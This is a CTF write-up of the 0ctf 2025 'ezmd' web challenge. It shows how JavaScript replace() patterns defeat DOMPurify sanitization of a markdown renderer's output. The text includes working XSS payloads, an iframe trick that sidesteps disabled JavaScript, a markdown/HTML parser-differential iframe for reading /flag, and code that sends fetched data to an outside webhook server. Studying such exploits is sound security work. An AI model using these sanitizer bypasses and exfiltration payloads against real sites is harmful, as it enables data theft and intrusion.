tomek7667

0ctf 2025 - ezmd - 5 solves

Recommended: Full video write-up


ezmd - web (Unintended solution)

author: rainhurt

  • Challenge description:

Yet another markdown renderer…

  • Number of solves: 5
  • Points: 733

attachments:

I was solving this challenge together with my teammate drbrix

tl;dr

  1. bypass dom purify for fname parameter with replacement manipulation
  2. bypass setJavaScriptEnabled(false) by opening an iframe which opens the first page with js enabled
  3. send to our webhook img.png
  4. include the flag as an iframe in the content param, bypassing dompurify having mixed interpreters syntax
  5. send the included flag with js enabled to our webhook

The Challenge

The main functionality of the challenge was to render markdown as an image. To obtain the flag, one has to read it from the server that is doing the rendering.

The render function does as follows:

  1. Reads content and fname from request body
  2. Sanitizes both of them with the use of latest isomorphic-dompurify:
const cleanFname = DOMPurify.sanitize(fname);
const cleanContent = DOMPurify.sanitize(content);
  1. The bot opens browser in a local vscode server page
  2. The bot opens our markdown and renders it as a png in that vscode server session
  3. Then back again the server creates a index.html file based on result.html template file that looks like this:
<!DOCTYPE html>
<html lang="zh">
	<head>
		<meta charset="UTF-8" />
		<title>My markdown renderer</title>
	</head>

	<body>
		<h1>My md renderer</h1>
		<p>{filename}</p>
		<img src="img.png" />
	</body>
</html>

by calling javascript’s .replace on the {filename} which is sanitized previously by the dompurify:

let data = fs
	.readFileSync("static/result.html", "utf-8")
	.replace("{filename}", fname);
  1. A new browser page is initialized
  2. JavaScript is disabled on it with puppeeter’s setJavaScriptEnabled(false):
await page.setJavaScriptEnabled(false);
  1. The bot visits this index.html that displays the image and the name for five seconds and closes the page

Unintended solution walkthrough

When I saw the combination of DOM Purify and the javascript’s replace function after sanitization, I instantly remembered a challenge I made in the past for pingCTF 2023 that revolved just about that specific setup. You can download it here and try your best - maybe reading this write-up will help you find the vulnerability. On pingCTF 2023 it had 0 solves.

It had the exact same pattern:

  1. sanitize the variables
  2. call javascript replace on them
  3. render them as raw html to the bot, thinking they are safe…

…even though the sanitization was made before the .replace data manipulation.

I’m pretty confident that most people think that the replace / replaceAll functions switch the value of one string to another in some string, like:

const v1 = "a";
const v2 = v1.replace("a", "b");
console.log(v2); // b

which is true, however the second argument, stating what should the first one called the pattern be replaced with, is not a string. It’s called the replacement. And that replacement can be either a function (that doesn’t help us), or a string, with a number of special replacement patterns.:

replacement patterns table

The most useful ones for us for such sanitization bypass being:

$`  <--- Replaces with content before matched string
$'  <--- Replaces with content after matched string

A simple example helps illustrate how this works in practice. Here we replace the B character in two cases where it has content before and after it.

example of replace patterns

As you can see, the values before/after were inserted in the place where B was found.

Knowing that such mechanism in JavaScript exists, we can start to try and bypass DOM Purify sanitization, by including something that is not evil payload, but some widely accepted pure string, like src of an img. We can test whether it’s accepted with a simple node js script importing the isomorphic-dompurify, sanitizing the payload and outpuPting the sanitized one:

const DOMPurify = require("isomorphic-dompurify");

const payload = `<img src="something">`;

const cleanPayload = DOMPurify.sanitize(payload);

console.log(cleanPayload); // <img src="something">

In that exact way, I started trying to inject my javascript (not knowing at the time, that javascript was disabled on the page). with the replacement trick, and when trying to sanitize a payload hidden in the src string, dompurify let it pass through:

<img src="abc123$`<img src=x onerror=alert(1)456def>" />

We can test the payloads fully with template and the replace call being in the poc:

const DOMPurify = require("isomorphic-dompurify");

const template = `
<!DOCTYPE html>
<html lang="zh">

<head>
  <meta charset="UTF-8">
  <title>My markdown renderer</title>
</head>

<body>
  <h1>My md renderer</h1>
  <p>{filename}</p>
  <img src="img.png" />
</body>

</html>
`;

const payload = `<img src="abc123$\`<img src=x onerror=alert(1)>">`;
const cleanPayload = DOMPurify.sanitize(payload);
console.log("dompurify surrendered:", payload === cleanPayload);

let data = template.replace("{filename}", cleanPayload);
console.log(data);

The above code when executed logged the following:

@tomek ➜ poc-replace node poc2.js
dompurify surrendered: true

<!DOCTYPE html>
<html lang="zh">

<head>
  <meta charset="UTF-8">
  <title>My markdown renderer</title>
</head>

<body>
  <h1>My md renderer</h1>
  <p><img src="abc123
<!DOCTYPE html>
<html lang="zh">

<head>
  <meta charset="UTF-8">
  <title>My markdown renderer</title>
</head>

<body>
  <h1>My md renderer</h1>
  <p><img src=x onerror=alert(1)>"></p>
  <img src="img.png" />
</body>

</html>

@tomek ➜ poc-replace

which when saved to a poc2.html file and opened in the browser, executes the alert function:

poc showing alert call

When I tried to submit to my webhook, the img.png using javascript obviously it didn’t arrive, because of page.setJavaScriptEnabled(false);. However, the javascript was disabled for that particular page, which means if we would manage to open a new one on the same url, it would have the javascript default behaviour which is to be enabled, and having the dom purify’s sanitization already bypassed, we could create anything on the website.

Submitting an iframe (which would normally be blocked by DOM Purify, but we have it bypassed at this point) that just have window.open call achieves exactly that. After the iframe itself, we can execute our javascript. Note that this would be recursively calling itself, as new page opens the same one etc. so make sure your webhook html is not rate-limited, and preferably host your own.

<!DOCTYPE html>
<html lang="en">
	<head>
		<meta charset="UTF-8" />
		<meta name="viewport" content="width=device-width, initial-scale=1.0" />
		<title>Document</title>
	</head>
	<body>
		<script>
			window.open("http://www/index.html");
		</script>
	</body>
</html>

To create your own webhook, you can use a simple HTTP server with CORS being enabled, having GET respond with the above html, and the POST saving the data on your disk.

from http.server import HTTPServer, BaseHTTPRequestHandler

HTML_CONTENT = """<!DOCTYPE html>
<html lang="en">
    <head>
        <meta charset="UTF-8" />
        <meta name="viewport" content="width=device-width, initial-scale=1.0" />
        <title>Document</title>
    </head>
    <body>
        <script>
            window.open("http://www/index.html");
        </script>
    </body>
</html>"""


class CORSRequestHandler(BaseHTTPRequestHandler):
    def end_headers(self):
        self.send_header('Access-Control-Allow-Origin', '*')
        self.send_header('Access-Control-Allow-Methods', '*')
        self.send_header('Access-Control-Allow-Headers', '*')
        super().end_headers()

    def do_OPTIONS(self):
        self.send_response(204)
        self.end_headers()

    def do_GET(self):
        self.send_response(200)
        self.send_header('Content-Type', 'text/html')
        self.end_headers()
        self.wfile.write(HTML_CONTENT.encode('utf-8'))

    def do_POST(self):
        content_length = int(self.headers['Content-Length'])
        body = self.rfile.read(content_length)
        with open("received_blob.bin", "wb") as f:
            f.write(body)
        with open("a.png", "wb") as f:
            f.write(body)
        self.send_response(200)
        self.end_headers()


if __name__ == '__main__':
    server = HTTPServer(('0.0.0.0', 1337), CORSRequestHandler)
    server.serve_forever()

The whole payload can be constructed and executed by eval(atob(<base64>))‘ing our javascript code, which can be easily and reproducibly be done by having another javascript create it. The code executed just fetches the img.png (this is the rendered markdown) and pushes it to our webhook.

const webhookUrl = "http://web.cyber-man.pl:1337"; // your website hosting the python server
const js = `
const main = async () =>{
	const response = await fetch("/img.png");
    const blb = await response.blob();
    await fetch("${webhookUrl}", {
        method: "POST",
        body: blb,
        headers: { "content-type": "image/png" }
    });
}
main();
`;

const based = btoa(js);
const fname = `<img src="asd123$\`asd1232<iframe src='${webhookUrl}'></iframe><img src=x onerror=eval(atob('${based}'))>">'`;
console.log(fname);

So now it’s the time to include the flag within the img.png by markdown file inclusion, which can be simply done with <iframe src=/file></iframe>. As I mentioned, dom purify doesn’t allow iframes, however the bypass is easier this time, as we can just type only markdown-friendly, and not html/js syntax. Here are two codeblocks, that showcase how does the html see this payload, and how does markdown:

html:

```
<h1>
	<img
		src="
a
```

<iframe src=/flag>
</iframe>

"
	/>
</h1>

markdown:

```
<h1><img src="
a
```

<iframe src=/flag>
</iframe>

">

As you can see the html treats the iframe part as part of the string, and markdown as valid tag.

Having that all connected, and submitting the fname as the webhook caller and the content as the markdown with flag inclusion, we get the flag from the server:

picture of original flag we got

0ctf{u_ar3_x33_k1n9}

afterthoughts

I was really happy to be one of the unintended solutions. Overall I think it was a cool challenge, although a bit bloated.

My quality+difficulty rating for this challenge is: 9/10

:)